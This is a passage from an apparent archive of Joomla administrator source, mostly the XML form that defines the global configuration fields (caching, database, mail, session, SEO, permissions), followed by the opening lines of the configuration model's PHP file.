			filter="string"
			size="25"
		/>

		<field
			name="memcached_server_port"
			type="number"
			label="COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_PORT_DESC"
			showon="cache_handler:memcached"
			min="0"
			max="65535"
			default="11211"
			filter="integer"
			validate="number"
			size="5"
		/>

		<field
			name="redis_persist"
			type="radio"
			label="COM_CONFIG_FIELD_REDIS_PERSISTENT_LABEL"
			description="COM_CONFIG_FIELD_REDIS_PERSISTENT_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			filter="integer"
			showon="cache_handler:redis"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="redis_server_host"
			type="text"
			label="COM_CONFIG_FIELD_REDIS_HOST_LABEL"
			description="COM_CONFIG_FIELD_REDIS_HOST_DESC"
			default="localhost"
			filter="string"
			showon="cache_handler:redis"
			size="25"
		/>

		<field
			name="redis_server_port"
			type="number"
			label="COM_CONFIG_FIELD_REDIS_PORT_LABEL"
			description="COM_CONFIG_FIELD_REDIS_PORT_DESC"
			showon="cache_handler:redis"
			min="1"
			max="65535"
			default="6379"
			filter="integer"
			validate="number"
			size="5"
		/>

		<field
			name="redis_server_auth"
			type="password"
			label="COM_CONFIG_FIELD_REDIS_AUTH_LABEL"
			description="COM_CONFIG_FIELD_REDIS_AUTH_DESC"
			filter="raw"
			showon="cache_handler:redis"
			autocomplete="off"
			size="30"
			hint="***************"
			lock="true"
		/>

		<field
			name="redis_server_db"
			type="number"
			label="COM_CONFIG_FIELD_REDIS_DB_LABEL"
			description="COM_CONFIG_FIELD_REDIS_DB_DESC"
			default="0"
			filter="integer"
			showon="cache_handler:redis"
			size="4"
		/>

		<field
			name="cachetime"
			type="number"
			label="COM_CONFIG_FIELD_CACHE_TIME_LABEL"
			description="COM_CONFIG_FIELD_CACHE_TIME_DESC"
			min="1"
			default="15"
			filter="integer"
			validate="number"
			size="6"
		/>

		<field
			name="cache_platformprefix"
			type="radio"
			label="COM_CONFIG_FIELD_CACHE_PLATFORMPREFIX_LABEL"
			description="COM_CONFIG_FIELD_CACHE_PLATFORMPREFIX_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="caching"
			type="list"
			label="COM_CONFIG_FIELD_CACHE_LABEL"
			description="COM_CONFIG_FIELD_CACHE_DESC"
			default="2"
			filter="integer"
			>
			<option value="0">COM_CONFIG_FIELD_VALUE_CACHE_OFF</option>
			<option value="1">COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE</option>
			<option value="2">COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE</option>
		</field>

	</fieldset>

	<fieldset
		name="memcache"
		label="COM_CONFIG_MEMCACHE_SETTINGS_LABEL">
	</fieldset>

	<fieldset
		name="database"
		label="CONFIG_DATABASE_SETTINGS_LABEL">

		<field
			name="dbtype"
			type="databaseconnection"
			label="COM_CONFIG_FIELD_DATABASE_TYPE_LABEL"
			description="COM_CONFIG_FIELD_DATABASE_TYPE_DESC"
			supported="mysql,mysqli,pgsql,pdomysql,postgresql,sqlsrv,sqlazure"
			filter="string"
		/>

		<field
			name="host"
			type="text"
			label="COM_CONFIG_FIELD_DATABASE_HOST_LABEL"
			description="COM_CONFIG_FIELD_DATABASE_HOST_DESC"
			required="true"
			filter="string"
			size="30"
		/>

		<field
			name="user"
			type="text"
			label="COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL"
			description="COM_CONFIG_FIELD_DATABASE_USERNAME_DESC"
			required="true"
			filter="string"
			size="30"
		/>

		<field
			name="password"
			type="password"
			label="COM_CONFIG_FIELD_DATABASE_PASSWORD_LABEL"
			description="COM_CONFIG_FIELD_DATABASE_PASSWORD_DESC"
			filter="raw"
			autocomplete="off"
			size="30"
			lock="true"
		/>

		<field
			name="db"
			type="text"
			label="COM_CONFIG_FIELD_DATABASE_NAME_LABEL"
			description="COM_CONFIG_FIELD_DATABASE_NAME_DESC"
			required="true"
			filter="string"
			size="30"
		/>

		<field
			name="dbprefix"
			type="text"
			label="COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL"
			description="COM_CONFIG_FIELD_DATABASE_PREFIX_DESC"
			default="jos_"
			filter="string"
			size="10"
		/>

	</fieldset>

	<fieldset
		name="debug"
		label="CONFIG_DEBUG_SETTINGS_LABEL">

		<field
			name="debug"
			type="radio"
			label="COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL"
			description="COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="debug_lang"
			type="radio"
			label="COM_CONFIG_FIELD_DEBUG_LANG_LABEL"
			description="COM_CONFIG_FIELD_DEBUG_LANG_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="debug_lang_const"
			type="radio"
			label="COM_CONFIG_FIELD_DEBUG_CONST_LANG_LABEL"
			description="COM_CONFIG_FIELD_DEBUG_CONST_LANG_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			filter="integer"
			showon="debug_lang:1"
			>
			<option value="0">COM_CONFIG_FIELD_DEBUG_CONST</option>
			<option value="1">COM_CONFIG_FIELD_DEBUG_VALUE</option>
		</field>

	</fieldset>

	<fieldset name="ftp" label="CONFIG_FTP_SETTINGS_LABEL">

		<field
			name="ftp_enable"
			type="radio"
			label="COM_CONFIG_FIELD_FTP_ENABLE_LABEL"
			description="COM_CONFIG_FIELD_FTP_ENABLE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="ftp_host"
			type="text"
			label="COM_CONFIG_FIELD_FTP_HOST_LABEL"
			description="COM_CONFIG_FIELD_FTP_HOST_DESC"
			filter="string"
			showon="ftp_enable:1"
			size="14"
		/>

		<field
			name="ftp_port"
			type="number"
			label="COM_CONFIG_FIELD_FTP_PORT_LABEL"
			description="COM_CONFIG_FIELD_FTP_PORT_DESC"
			showon="ftp_enable:1"
			min="1"
			max="65535"
			hint="21"
			validate="number"
			filter="integer"
			size="5"
		/>

		<field
			name="ftp_user"
			type="text"
			label="COM_CONFIG_FIELD_FTP_USERNAME_LABEL"
			description="COM_CONFIG_FIELD_FTP_USERNAME_DESC"
			filter="string"
			showon="ftp_enable:1"
			autocomplete="off"
			size="25"
		/>

		<field
			name="ftp_pass"
			type="password"
			label="COM_CONFIG_FIELD_FTP_PASSWORD_LABEL"
			description="COM_CONFIG_FIELD_FTP_PASSWORD_DESC"
			filter="raw"
			showon="ftp_enable:1"
			autocomplete="off"
			size="25"
			lock="true"
		/>

		<field
			name="ftp_root"
			type="text"
			label="COM_CONFIG_FIELD_FTP_ROOT_LABEL"
			description="COM_CONFIG_FIELD_FTP_ROOT_DESC"
			showon="ftp_enable:1"
			filter="string"
			size="50"
		/>

	</fieldset>

	<fieldset
		name="proxy"
		label="CONFIG_PROXY_SETTINGS_LABEL">

		<field
			name="behind_loadbalancer"
			type="radio"
			label="COM_CONFIG_FIELD_LOADBALANCER_ENABLE_LABEL"
			description="COM_CONFIG_FIELD_LOADBALANCER_ENABLE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="proxy_enable"
			type="radio"
			label="COM_CONFIG_FIELD_PROXY_ENABLE_LABEL"
			description="COM_CONFIG_FIELD_PROXY_ENABLE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="proxy_host"
			type="text"
			label="COM_CONFIG_FIELD_PROXY_HOST_LABEL"
			description="COM_CONFIG_FIELD_PROXY_HOST_DESC"
			filter="string"
			showon="proxy_enable:1"
			size="14"
		/>

		<field
			name="proxy_port"
			type="number"
			label="COM_CONFIG_FIELD_PROXY_PORT_LABEL"
			description="COM_CONFIG_FIELD_PROXY_PORT_DESC"
			showon="proxy_enable:1"
			min="1"
			max="65535"
			hint="8080"
			validate="number"
			filter="integer"
			size="5"
		/>

		<field
			name="proxy_user"
			type="text"
			label="COM_CONFIG_FIELD_PROXY_USERNAME_LABEL"
			description="COM_CONFIG_FIELD_PROXY_USERNAME_DESC"
			filter="string"
			showon="proxy_enable:1"
			autocomplete="off"
			size="25"
		/>

		<field
			name="proxy_pass"
			type="password"
			label="COM_CONFIG_FIELD_PROXY_PASSWORD_LABEL"
			description="COM_CONFIG_FIELD_PROXY_PASSWORD_DESC"
			filter="raw"
			showon="proxy_enable:1"
			autocomplete="off"
			size="25"
			lock="true"
		/>

	</fieldset>

	<fieldset
		name="locale"
		label="CONFIG_LOCATION_SETTINGS_LABEL">

		<field
			name="offset"
			type="timezone"
			label="COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL"
			description="COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC"
			default="UTC"
			>
			<option value="UTC">JLIB_FORM_VALUE_TIMEZONE_UTC</option>
		</field>

	</fieldset>

	<fieldset
		name="mail"
		label="CONFIG_MAIL_SETTINGS_LABEL">

		<field
			name="mailonline"
			type="radio"
			label="COM_CONFIG_FIELD_MAIL_MAILONLINE_LABEL"
			description="COM_CONFIG_FIELD_MAIL_MAILONLINE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="massmailoff"
			type="radio"
			label="COM_CONFIG_FIELD_MAIL_MASSMAILOFF_LABEL"
			description="COM_CONFIG_FIELD_MAIL_MASSMAILOFF_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			showon="mailonline:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="mailfrom"
			type="email"
			label="COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL"
			description="COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC"
			filter="string"
			size="30"
			validate="email"
			showon="mailonline:1"
		/>

		<field
			name="fromname"
			type="text"
			label="COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL"
			description="COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC"
			filter="string"
			size="30"
			showon="mailonline:1"
		/>

		<field
			name="replyto"
			type="email"
			label="COM_CONFIG_FIELD_MAIL_REPLY_TO_EMAIL_LABEL"
			description="COM_CONFIG_FIELD_MAIL_REPLY_TO_EMAIL_DESC"
			filter="string"
			size="30"
			validate="email"
			showon="mailonline:1"
		/>

		<field
			name="replytoname"
			type="text"
			label="COM_CONFIG_FIELD_MAIL_REPLY_TO_NAME_LABEL"
			description="COM_CONFIG_FIELD_MAIL_REPLY_TO_NAME_DESC"
			filter="string"
			size="30"
			showon="mailonline:1"
		/>

		<field
			name="mailer"
			type="list"
			label="COM_CONFIG_FIELD_MAIL_MAILER_LABEL"
			description="COM_CONFIG_FIELD_MAIL_MAILER_DESC"
			default="mail"
			filter="word"
			showon="mailonline:1"
			>
			<option value="mail">COM_CONFIG_FIELD_VALUE_PHP_MAIL</option>
			<option value="sendmail">COM_CONFIG_FIELD_VALUE_SENDMAIL</option>
			<option value="smtp">COM_CONFIG_FIELD_VALUE_SMTP</option>
		</field>

		<field
			name="sendmail"
			type="text"
			label="COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC"
			default="/usr/sbin/sendmail"
			showon="mailonline:1[AND]mailer:sendmail"
			filter="string"
			size="30"
		/>

		<field
			name="smtphost"
			type="text"
			label="COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC"
			default="localhost"
			showon="mailonline:1[AND]mailer:smtp"
			filter="string"
			size="30"
		/>

		<field
			name="smtpport"
			type="number"
			label="COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC"
			showon="mailonline:1[AND]mailer:smtp"
			min="1"
			max="65535"
			default="25"
			hint="25"
			validate="number"
			filter="integer"
			size="5"
		/>

		<field
			name="smtpsecure"
			type="list"
			label="COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC"
			default="none"
			showon="mailonline:1[AND]mailer:smtp"
			filter="word"
			>
			<option value="none">COM_CONFIG_FIELD_VALUE_NONE</option>
			<option value="ssl">COM_CONFIG_FIELD_VALUE_SSL</option>
			<option value="tls">COM_CONFIG_FIELD_VALUE_TLS</option>
		</field>

		<field
			name="smtpauth"
			type="radio"
			label="COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="mailonline:1[AND]mailer:smtp"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="smtpuser"
			type="text"
			label="COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC"
			showon="mailonline:1[AND]mailer:smtp[AND]smtpauth:1"
			filter="string"
			autocomplete="off"
			size="30"
		/>

		<field
			name="smtppass"
			type="password"
			label="COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL"
			description="COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC"
			showon="mailonline:1[AND]mailer:smtp[AND]smtpauth:1"
			filter="raw"
			autocomplete="off"
			size="30"
			lock="true"
		/>

	</fieldset>

	<fieldset
		name="metadata"
		label="COM_CONFIG_METADATA_SETTINGS">

		<field
			name="MetaDesc"
			type="textarea"
			label="COM_CONFIG_FIELD_METADESC_LABEL"
			description="COM_CONFIG_FIELD_METADESC_DESC"
			filter="string"
			cols="60"
			rows="3"
		/>

		<field
			name="MetaKeys"
			type="textarea"
			label="COM_CONFIG_FIELD_METAKEYS_LABEL"
			description="COM_CONFIG_FIELD_METAKEYS_DESC"
			filter="string"
			cols="60"
			rows="3"
		/>

		<field
			name="robots"
			type="list"
			label="JFIELD_METADATA_ROBOTS_LABEL"
			description="JFIELD_METADATA_ROBOTS_DESC"
			default=""
			>
			<option value="">index, follow</option>
			<option value="noindex, follow"></option>
			<option value="index, nofollow"></option>
			<option value="noindex, nofollow"></option>
		</field>

		<field
			name="MetaRights"
			type="textarea"
			label="JFIELD_META_RIGHTS_LABEL"
			description="JFIELD_META_RIGHTS_DESC"
			filter="string"
			cols="60"
			rows="2"
		/>

		<field
			name="MetaAuthor"
			type="radio"
			label="COM_CONFIG_FIELD_METAAUTHOR_LABEL"
			description="COM_CONFIG_FIELD_METAAUTHOR_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="MetaVersion"
			type="radio"
			label="COM_CONFIG_FIELD_METAVERSION_LABEL"
			description="COM_CONFIG_FIELD_METAVERSION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="seo"
		label="CONFIG_SEO_SETTINGS_LABEL">

		<field
			name="sef"
			type="radio"
			label="COM_CONFIG_FIELD_SEF_URL_LABEL"
			description="COM_CONFIG_FIELD_SEF_URL_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="sef_rewrite"
			type="radio"
			label="COM_CONFIG_FIELD_SEF_REWRITE_LABEL"
			description="COM_CONFIG_FIELD_SEF_REWRITE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			showon="sef:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="sef_suffix"
			type="radio"
			label="COM_CONFIG_FIELD_SEF_SUFFIX_LABEL"
			description="COM_CONFIG_FIELD_SEF_SUFFIX_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			showon="sef:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="unicodeslugs"
			type="radio"
			label="COM_CONFIG_FIELD_UNICODESLUGS_LABEL"
			description="COM_CONFIG_FIELD_UNICODESLUGS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			showon="sef:1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="sitename_pagetitles"
			type="list"
			label="COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL"
			description="COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC"
			default="0"
			filter="integer"
			>
			<option value="2">COM_CONFIG_FIELD_VALUE_AFTER</option>
			<option value="1">COM_CONFIG_FIELD_VALUE_BEFORE</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="server"
		label="CONFIG_SERVER_SETTINGS_LABEL">

		<field
			name="tmp_path"
			type="text"
			label="COM_CONFIG_FIELD_TEMP_PATH_LABEL"
			description="COM_CONFIG_FIELD_TEMP_PATH_DESC"
			filter="string"
			size="50"
		/>

		<field
			name="gzip"
			type="radio"
			label="COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL"
			description="COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="error_reporting"
			type="list"
			label="COM_CONFIG_FIELD_ERROR_REPORTING_LABEL"
			description="COM_CONFIG_FIELD_ERROR_REPORTING_DESC"
			default="default"
			filter="cmd"
			>
			<option value="default">COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT</option>
			<option value="none">COM_CONFIG_FIELD_VALUE_NONE</option>
			<option value="simple">COM_CONFIG_FIELD_VALUE_SIMPLE</option>
			<option value="maximum">COM_CONFIG_FIELD_VALUE_MAXIMUM</option>
			<option value="development">COM_CONFIG_FIELD_VALUE_DEVELOPMENT</option>
		</field>

		<field
			name="force_ssl"
			type="list"
			label="COM_CONFIG_FIELD_FORCE_SSL_LABEL"
			description="COM_CONFIG_FIELD_FORCE_SSL_DESC"
			default="-1"
			filter="integer"
			>
			<option value="0">COM_CONFIG_FIELD_VALUE_NONE</option>
			<option value="1">COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY</option>
			<option value="2">COM_CONFIG_FIELD_VALUE_ENTIRE_SITE</option>
		</field>

	</fieldset>

	<fieldset
		name="session"
		label="CONFIG_SESSION_SETTINGS_LABEL">

		<field
			name="session_handler"
			type="sessionhandler"
			label="COM_CONFIG_FIELD_SESSION_HANDLER_LABEL"
			description="COM_CONFIG_FIELD_SESSION_HANDLER_DESC"
			default="none"
			filter="word"
		/>

		<field
			name="session_memcache_server_host"
			type="text"
			label="COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_HOST_DESC"
			default="localhost"
			filter="string"
			showon="session_handler:memcache"
			size="25"
		/>

		<field
			name="session_memcache_server_port"
			type="number"
			label="COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_PORT_DESC"
			showon="session_handler:memcache"
			min="1"
			max="65535"
			default="11211"
			validate="number"
			filter="integer"
			size="5"
		/>

		<field
			name="session_memcached_server_host"
			type="text"
			label="COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_HOST_DESC"
			default="localhost"
			filter="string"
			showon="session_handler:memcached"
			size="25"
		/>

		<field
			name="session_memcached_server_port"
			type="number"
			label="COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL"
			description="COM_CONFIG_FIELD_MEMCACHE_PORT_DESC"
			showon="session_handler:memcached"
			min="1"
			max="65535"
			default="11211"
			validate="number"
			filter="integer"
			size="5"
		/>

		<field
			name="session_redis_persist"
			type="radio"
			label="COM_CONFIG_FIELD_REDIS_PERSISTENT_LABEL"
			description="COM_CONFIG_FIELD_REDIS_PERSISTENT_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			filter="integer"
			showon="session_handler:redis"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="session_redis_server_host"
			type="text"
			label="COM_CONFIG_FIELD_REDIS_HOST_LABEL"
			description="COM_CONFIG_FIELD_REDIS_HOST_DESC"
			default="localhost"
			filter="string"
			showon="session_handler:redis"
			size="25"
		/>

		<field
			name="session_redis_server_port"
			type="number"
			label="COM_CONFIG_FIELD_REDIS_PORT_LABEL"
			description="COM_CONFIG_FIELD_REDIS_PORT_DESC"
			showon="session_handler:redis"
			min="1"
			max="65535"
			default="6379"
			validate="number"
			filter="integer"
			size="5"
		/>

		<field
			name="session_redis_server_auth"
			type="password"
			label="COM_CONFIG_FIELD_REDIS_AUTH_LABEL"
			description="COM_CONFIG_FIELD_REDIS_AUTH_DESC"
			filter="raw"
			showon="session_handler:redis"
			autocomplete="off"
			size="30"
			lock="true"
		/>

		<field
			name="session_redis_server_db"
			type="number"
			label="COM_CONFIG_FIELD_REDIS_DB_LABEL"
			description="COM_CONFIG_FIELD_REDIS_DB_DESC"
			default="0"
			filter="integer"
			showon="session_handler:redis"
			size="4"
		/>
		<field
			name="lifetime"
			type="number"
			label="COM_CONFIG_FIELD_SESSION_TIME_LABEL"
			description="COM_CONFIG_FIELD_SESSION_TIME_DESC"
			min="1"
			max="16383"
			default="15"
			filter="integer"
			validate="number"
			size="6"
		/>

		<field
			name="shared_session"
			type="radio"
			label="COM_CONFIG_FIELD_SHARED_SESSION_LABEL"
			description="COM_CONFIG_FIELD_SHARED_SESSION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="site"
		label="CONFIG_SITE_SETTINGS_LABEL">

		<field
			name="sitename"
			type="text"
			label="COM_CONFIG_FIELD_SITE_NAME_LABEL"
			description="COM_CONFIG_FIELD_SITE_NAME_DESC"
			required="true"
			filter="string"
			size="50"
		/>

		<field
			name="offline"
			type="radio"
			label="COM_CONFIG_FIELD_SITE_OFFLINE_LABEL"
			description="COM_CONFIG_FIELD_SITE_OFFLINE_DESC"
			class="btn-group btn-group-yesno btn-group-reversed"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="display_offline_message"
			type="list"
			label="COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL"
			description="COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC"
			default="1"
			filter="integer"
			showon="offline:1"
			>
			<option value="0">JHIDE</option>
			<option value="1">COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM</option>
			<option value="2">COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE</option>
		</field>

		<field
			name="offline_message"
			type="textarea"
			label="COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL"
			description="COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC"
			filter="safehtml"
			cols="60"
			rows="2"
			showon="offline:1[AND]display_offline_message:1"
		/>

		<field
			name="offline_image"
			type="media"
			label="COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL"
			description="COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC"
			showon="offline:1"
		/>

		<field
			name="frontediting"
			type="list"
			label="COM_CONFIG_FRONTEDITING_LABEL"
			description="COM_CONFIG_FRONTEDITING_DESC"
			default="1"
			filter="integer"
			>
			<option value="2">COM_CONFIG_FRONTEDITING_MENUSANDMODULES</option>
			<option value="1">COM_CONFIG_FRONTEDITING_MODULES</option>
			<option value="0">JNONE</option>
		</field>

		<field
			name="editor"
			type="plugins"
			label="COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC"
			folder="editors"
			default="tinymce"
			filter="cmd"
		/>

		<field
			name="captcha"
			type="plugins"
			label="COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC"
			folder="captcha"
			default="0"
			filter="cmd"
			>
			<option value="0">JOPTION_DO_NOT_USE</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC"
			default="1"
			filter="integer"
		/>

		<field
			name="list_limit"
			type="list"
			label="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC"
			default="20"
			filter="integer"
			>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="15">J15</option>
			<option value="20">J20</option>
			<option value="25">J25</option>
			<option value="30">J30</option>
			<option value="50">J50</option>
			<option value="100">J100</option>
			<option value="200">J200</option>
			<option value="500">J500</option>
		</field>

		<field
			name="feed_limit"
			type="list"
			label="COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL"
			description="COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC"
			default="10"
			filter="integer"
			>
			<option value="5">J5</option>
			<option value="10">J10</option>
			<option value="15">J15</option>
			<option value="20">J20</option>
			<option value="25">J25</option>
			<option value="30">J30</option>
			<option value="50">J50</option>
			<option value="100">J100</option>
		</field>

		<field
			name="feed_email"
			type="list"
			label="COM_CONFIG_FIELD_FEED_EMAIL_LABEL"
			description="COM_CONFIG_FIELD_FEED_EMAIL_DESC"
			default="none"
			filter="word"
			>
			<option value="author">COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL</option>
			<option value="site">COM_CONFIG_FIELD_VALUE_SITE_EMAIL</option>
			<option value="none">COM_CONFIG_FIELD_VALUE_NO_EMAIL</option>

		</field>

	</fieldset>

	<fieldset
		name="system"
		label="CONFIG_SYSTEM_SETTINGS_LABEL">

		<field
			name="log_path"
			type="text"
			label="COM_CONFIG_FIELD_LOG_PATH_LABEL"
			description="COM_CONFIG_FIELD_LOG_PATH_DESC"
			required="true"
			filter="string"
			size="50"
		/>

	</fieldset>

	<fieldset
		name="cookie"
		label="CONFIG_COOKIE_SETTINGS_LABEL">

		<field
			name="cookie_domain"
			type="text"
			label="COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL"
			description="COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC"
			filter="string"
			size="40"
		/>

		<field
			name="cookie_path"
			type="text"
			label="COM_CONFIG_FIELD_COOKIE_PATH_LABEL"
			description="COM_CONFIG_FIELD_COOKIE_PATH_DESC"
			filter="string"
			size="40"
		/>

	</fieldset>

	<fieldset
		name="permissions"
		label="CONFIG_PERMISSION_SETTINGS_LABEL">

		<field
			name="rules"
			type="rules"
			label="FIELD_RULES_LABEL"
			translate_label="false"
			validate="rules"
			filter="rules"
			>
			<action
				name="core.login.site"
				title="JACTION_LOGIN_SITE"
				description="COM_CONFIG_ACTION_LOGIN_SITE_DESC"
			/>
			<action
				name="core.login.admin"
				title="JACTION_LOGIN_ADMIN"
				description="COM_CONFIG_ACTION_LOGIN_ADMIN_DESC"
			/>
			<action
				name="core.login.offline"
				title="JACTION_LOGIN_OFFLINE"
				description="COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC"
			/>
			<action
				name="core.admin"
				title="JACTION_ADMIN_GLOBAL"
				description="COM_CONFIG_ACTION_ADMIN_DESC"
			/>
			<action
				name="core.options"
				title="JACTION_OPTIONS"
				description="COM_CONFIG_ACTION_OPTIONS_DESC"
			/>
			<action
				name="core.manage"
				title="JACTION_MANAGE"
				description="COM_CONFIG_ACTION_MANAGE_DESC"
			/>
			<action
				name="core.create"
				title="JACTION_CREATE"
				description="COM_CONFIG_ACTION_CREATE_DESC"
			/>
			<action
				name="core.delete"
				title="JACTION_DELETE"
				description="COM_CONFIG_ACTION_DELETE_DESC"
			/>
			<action
				name="core.edit"
				title="JACTION_EDIT"
				description="COM_CONFIG_ACTION_EDIT_DESC"
			/>
			<action
				name="core.edit.state"
				title="JACTION_EDITSTATE"
				description="COM_CONFIG_ACTION_EDITSTATE_DESC"
			/>
			<action
				name="core.edit.own"
				title="JACTION_EDITOWN"
				description="COM_CONFIG_ACTION_EDITOWN_DESC"
			/>
			<action
				name="core.edit.value"
				title="JACTION_EDITVALUE"
				description="COM_CONFIG_ACTION_EDITVALUE_DESC"
			/>
		</field>

	</fieldset>

	<fieldset
		name="filters"
		label="COM_CONFIG_TEXT_FILTERS"
		description="COM_CONFIG_TEXT_FILTERS_DESC">

		<field
			name="filters"
			type="filters"
			label="COM_CONFIG_TEXT_FILTERS"
			filter=""
		/>

	</fieldset>

	<fieldset>

		<field
			name="asset_id"
			type="hidden"
		/>

	</fieldset>
</form>
com_config/model/application.php000060400000071024152455305270012773 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
